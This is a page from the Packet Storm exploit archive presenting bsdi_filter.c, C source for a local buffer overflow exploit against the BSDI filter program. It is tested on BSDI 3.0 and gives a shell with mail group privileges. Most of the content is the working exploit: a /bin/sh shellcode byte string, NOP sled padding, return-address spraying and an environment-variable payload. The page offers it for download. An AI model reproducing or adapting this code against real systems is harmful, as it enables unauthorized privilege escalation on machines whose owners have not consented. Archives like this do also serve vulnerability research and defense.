what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

bsdi_filter.c

bsdi_filter.c
Posted Nov 14, 2000
Authored by vade79, realhalo | Site realhalo.org

BSDI /usr/contrib/bin/filter v2.* local buffer overflow exploit. Tested on BSDI 3.0, provides a shell with GID mail.

tags | exploit, overflow, shell, local
SHA-256 | e534fc0c8aa82b47dead2e0e671e1935ad2cdccabd46b611e35f366b86b24a78

bsdi_filter.c

Change Mirror Download
/* (BSDi)filter[v2.*] buffer overflow, by v9[v9@fakehalo.org].  this exploit
yields egid/group=14(mail) on BSDi/3.0 systems with the filter package.

note: you have to press ^D to overflow the buffer, and launch the shell.
*/
#define PATH "/usr/contrib/bin/filter" /* path to filter on BSDi/3.0. */
#define DEFAULT_OFFSET -3000 /* general offset, a lot of room. */
static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
"\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
"\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
"\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char eip[520],buf[4096];
int i,offset;
long ret;
printf("[ (BSDi)filter[v2.*]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(pointer()-offset);
for(i=0;i<520;i+=4){*(long *)&eip[i]=ret;}
eip[520]=0x0;
for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset);
printf("*** [note]: hit CTRL-D overwrite eip, and launch a shell.\n");
if(execlp(PATH,"filter","-f",eip,0)){
printf("*** [error]: could not execute %s successfully.\n",PATH);
exit(1);
}
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    35 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close